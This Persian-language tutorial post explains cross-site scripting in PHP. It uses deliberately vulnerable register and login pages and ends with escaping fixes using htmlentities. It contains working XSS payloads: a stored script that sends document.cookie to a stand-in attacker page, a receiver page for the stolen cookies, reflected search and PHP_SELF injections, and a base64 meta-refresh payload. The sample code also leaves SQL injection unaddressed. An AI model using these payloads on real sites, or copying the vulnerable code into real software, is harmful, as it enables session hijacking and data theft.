باگ XSS و روش مقابله با XSS
سلام.
یکی از انواع حملات به صفحات وب , XSS هست.(Cross Site Scripting)
xss ازین قراره که نفوذگر توسط کد های client side مثل (javascript , vbscript) , صفحات وبی که توسط کاربران اینترنتی (clients) باز شده , مورد حمله قرار میدن و اسکریپت هاشونو تزریق میکنن.
این اسکریپت ها در صفحات وب ما (clients) اجرا میشن و باعث خرابکاری هایی در برنامه میشن و نفوذگر میتونه اطلاعات کاربرو در اختیار بگیره.
واسه اینکه ساده تر بخوام توضیح بدم , یک مثال خیلی ساده میزنم:
یک صفحه ی فرم میسازم که نام افرادی که میخوان عضو سایت بشن رو میگیره و در دیتابیس ذخیره میکنه و تمام کسانی که قبلا عضو شدنو هم در همون صفحه , پایین تر از فرم , نمایش میده:
اسم این صفحه (register.php)
<form action="" method="post" accept-charset="utf-8"> <input type="text" name="name"> <input type="submit" name="btnSubmit" value="Insert"> </form> <hr>
<b>Members:</b><br>
<?php mysql_connect('localhost', 'root', ''); mysql_select_db('test'); mysql_query('set names utf8'); /**************************/ // insert codes if (isset($_POST['btnSubmit'])) { if (isset($_POST['name']) && !empty($_POST['name'])) { $name = $_POST['name']; mysql_query("INSERT INTO `name` (`name`) VALUES ('{$name}')"); if (mysql_affected_rows() <= 0) { echo "ERROR!"; } } } /**************************/ // show members $result = mysql_query("SELECT * FROM `name`"); if (mysql_num_rows($result) > 0) { while ($row = mysql_fetch_assoc($result)) { echo $row['name'] . '<br>'; } }
حالا کاربری (نفوذگر) وارد این صفحه از سایت میشه و این صفحه رو میبینه:
و بجای اینکه اسمشو وارد کنه , این عبارتو در اینپوت مینویسه:
<script>alert(\"You have been hacked!\")</script>
و روی دکمه ی Insert کلیک میکنه و در دیتابیس این عبارت ذخیره میشه.
قاعدتا عبارت بالا هم باید در زیر member ها اضافه و چاپ بشه!!
حالا هر کاربری , هر زمانی , از هر جایی که این صفحه از سایتو باز کنه , با این آلرت مواجه میشه:
بله , بجای اینکه اون عبارت بالا عیناً در قسمت members چاپ بشه , بصورت آلرت در مرورگر کاربر(قربانی) نمایش داده شد , یعنی کدهای جاوااسکریپت در مرورگر کاربر اجرا شد.
بجای alert میشد هر کد جاوااسکریپت دیگه ای تزریق کرد.
*********************************************
خوب , مثال بالارو توو قالب یک مثال دیگه میارم.
در مثال اولی که زدم , فرمی داشتیم که نام تمام اعضا رو نمایش میداد.حالا کاربری (نفوذگر) وارد همان صفحه یعنی register.php میشه و داخل اینپوت , بجای نام خودش, این کد جاوااسکریپتو وارد میکنه:
<script>
window.location = \'http://example.com?hacker.php?cookie=\' + escape(document.cookie);
</script>
فرض میکنیم عبارت بالا توسط نفوذگر در دیتابیس ثبت شد.
* example.com/hacker.php صفحه ایست که نفوذگر ساخته.(آدرس سایت نفوذگر)
در ادامه ی مثال, یک صفحه ی لاگین داریم و کاربر ها لاگین میکنن.
زمانی که لاگین صورت میگیره , اطلاعات کاربر در سشن ذخیره میشه.(در این مثال)
همونطور که میدونید , session id در کوکی و مرورگر کاربر ذخیره میشه و توسط این آیدی مقادیر از حافظه ی سرور خونده میشه.
یعنی عملا اگر کوکی مرورگر کاربر غیر فعال باشه , سشن هم کار نمیکنه , چون سشن آیدی دیگه نمیتونه در جایی ذخیره بشه.
پس نکته ی مهمی که اینجاس , اگر ما سشن آیدی یک کاربرو داشته باشیم , توسط این آیدی میتونیم اطلاعات کاربرو که روی حافظه ی سرور ذخیره شده رو بخونیم.
توو این مثال میخوایم توسط حمله ی xss , سشن کاربر قربانی رو بدست بیاریم.
یک پیج لاگین ساده درست کردم و فقط این لاگینو محدود به یوزر ادمین کردم.دلیل اینکارم اینه که نخواستم زیادی پیچیدش کنم و فقط میخوام مثالو پیاده سازی کنم.
<?php // start session if (!isset($_SESSION)) { @session_start(); } /***************************/ // check login if (isset($_POST['btnLogin'])) { if (isset($_POST['username'], $_POST['password'])) { $username = $_POST['username']; $password = $_POST['password']; if (strtolower($username) == 'bidak' && $password == '123') { $_SESSION['login'] = true; } } } /***************************/ // check login session if (!isset($_SESSION['login'])) { ?> <form action="" method="post" accept-charset="utf-8"> username: <input type="text" name="username"> <br><br> password: <input type="text" name="password"> <input type="submit" name="btnLogin" value="login"> </form> <?php } // show members if (isset($_SESSION['login'])) { echo 'Welcome to <strong>Admin</strong> panel.<br>'; /**************************/ mysql_connect('localhost', 'root', ''); mysql_select_db('test'); // show members $result = mysql_query("SELECT * FROM `name`"); if (mysql_num_rows($result) > 0) { while ($row = mysql_fetch_assoc($result)) { echo $row['name'] . '<br>'; } } } else { echo 'You are a <strong>Guest</strong> here now.'; }
وقتی login میشم سشن login ست میشه و در صفحه ی ادمین اسامی اعضای سایت نمایش داده میشه.
یکی از اسامی که در صفحه چاپ میشه , کد نفوذگر هست:(در متن بالا اشاره شد)
<script> window.location = 'http://example.com?hacker.php?cookie=' + escape(document.cookie); </script>
این کد اجرا میشه و کوکی کاربر لاگین شده رو به آدرس نفوذگر میچسبونه و میفرسته به صفحه ای که نفوذگر توو سایت خودش ساخته.نفوذگر کوکی های کاربرو در صفحه ای که ساخته(hacker.php) دریافت میکنه و جایی ثبت یا توسط میل و ... ارسال میکنه.
صفحه ی hacker.php بعنوان مثال:
<?php echo "found: " . urldecode($_GET['cookie']); // Insert into db or Send email
کدهای صفحه ی نفوذگر اجرا میشه و کوکی سشن آیدی کاربر بدست نفوذگر میرسه.
کافیه نفوذگر این کوکی رو در مرورگرش ایجاد کنه و مقدار سشن آیدی کاربر قربانی رو در مرورگر خودش ست کنه.
بعد از ست شدن سشن آیدی کاربر قربانی , دیگه صفحه ی لاگین نمیاد و مستقیم وارد پیج ادمین میشه.
حالا این کد میتونه توو پروفایل یک کاربر تزریق بشه یا در صفحه ی پیام های خصوصی یا کامنت های یک پست یا بصورت یک لینک داده بشه به کاربر از طریق ایمیل و ... و کاربر لینک مورد نظر نفوذگرو باز کنه و ...
*********************************************
مثالی واسه لینک دادن به کاربر و تزریق از طریق address bar:
سایتی که در قسمت search box باگ xss داره.قسمتی از کدهاش به این شکله که عبارت جستجو شده توسط کاربرو در url قرار میده و با متغیر GET مورد دستیابی قرار میده و بدون هیچ فیلتری در صفحه عبارت جستجو شده رو چاپ میکنه:
echo "You searched for: ".$_GET['search'];
و نفوذگر چیزی شبیه به آدرس سایت مد نظر برای کاربر قربانی به شکل های مختلفی ارسال میکنه تا کاربر قربانی روی این لینک کلیک کنه.
http://exampleSite.com/result.html?search=<img src=/ onerror="alert(document.cookie)">
از صفت های تگ های html میشه واسه تزریق کد استفاده کرد.
نسخه ی جدید مرورگرها مثل chrome , تزریق اسکریپت از address bar رو جلوگیری میکنن ولی بعضی روش ها هنوز روی firefox از url میشه تزریق کرد.
در ادامه ی همین قسمت , یک نوع دیگه رو نشون بدم:
برنامه نویس تگ form استفاده کرده ومقدار صفت action رو از آدرس بار کاربر گرفته. ازین طریق:
<form method="post" action="<?php echo $_SERVER["PHP_SELF"];?>">
دستور :
$_SERVER["PHP_SELF"];
از url کاربر نام فایل (صفحه ی جاری) نسبت به ریشه رو برمیگردونه.
مثلا این آدرس صفحه ی جاری: http://example.com/foo/bar.php
چیزی که در action تگ فرم چاپ میشه:
/foo/bar.php
حالا نفوذگر , کد زیرو به آدرس مقابل تزریق میکنه: http://www.example.com/test_form.php
http://www.example.com/test_form.php/%22%3E%3Cscript%3Ealert('hacked')%3C/script%3E
و در نتیجه تگ فرم به این شکل در میاد:
<form method="post" action="test_form.php/"><script>alert('hacked')</script>
و کد جاوااسکریپت در مرورگر کاربر اجرا میشه.
*********************************************
خوب ...
نفوذگر واسه inject کردن کدهاش روش های مختلفی استفاده میکنه.
بعنوان مثال , کد بصورت base64 کدگذار شده.یک نمونه با تگ meta:
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg">
اگر عبارت کدگذاری شده رو decode کنیم , این عبارتو میبینیم:
<script>alert('test3')</script>
روش های مختلف دیگه ای مثل url encoding و hex encoding و ...
*********************************************
توو این پست صفحات register و login رو بعنوان مثال پیاده سازی کردم, بخاطر اون دسته از افرادی که هیچ آشنایی با این باگ ندارن و اگر خواستن تست کنن همین کدهارو اجرا کنن.
قصد , آموزش xss نبود و یک معرفی اجمالی انجام دادم.
شما روش های مختلف تزریقو میتونید از این لینک ببینید.
توو پست بعدی روش مقابله با xss رو میگم.
همونطور که مثال هارو دیدید , هر جایی که مقادیر(گرفته شده از کاربران) در صفحه ی مرورگر چاپ میشه , امکان xss هست.
پس همیشه تمام اطلاعاتی که از کاربرها میگیرید , مانند (کامنت ها , چت ها , پیام ها , پست ها , مشخصات , ... و ... و ...) در زمان چاپ , باید با تابع htmlentities و یا htmlspecialchars (یکی از توابع) , اطلاعات escape بشن.
* در این تاپیک در مورد این دو تابع قبلا توضیح دادم. (آموزش توابع کاربردی رشته ها)
بعنوان مثال قسمت نمایش اعضا که در قسمت اول کدشو نوشتم , به این حالت در میاد:
// show members $result = mysql_query("SELECT * FROM `name`"); if (mysql_num_rows($result) > 0) { while ($row = mysql_fetch_assoc($result)) {
// use HtmlEntities to prevent xss echo htmlentities($row['name'], ENT_QUOTES, 'UTF-8') . '<br>'; } }
خوب , حالا چیزی که در صفحه ی مرورگر چاپ میشه:
<script>alert("You have been hacked!")</script> ali hasan mohsen
در مثالی دیگه (پست قبلیم) , اشتباه برنامه نویس در تگ فرم باعث بروز این باگ شده بود , به این شکل در میاد:
<form method="post" action="<?php echo htmlentities($_SERVER["PHP_SELF"], ENT_QUOTES, 'UTF-8')?>">
و تمام مواردی که گفته شد , بهمین شکل.
پاسخگویی و مشاهده پاسخ های این سوال تنها برای اعضای ویژه سایت امکان پذیر است .
چنانچه تمایل دارید به همه بخش ها دسترسی داشته باشید میتوانید از این بخش لایسنس این آموزش را خریداری نمایید .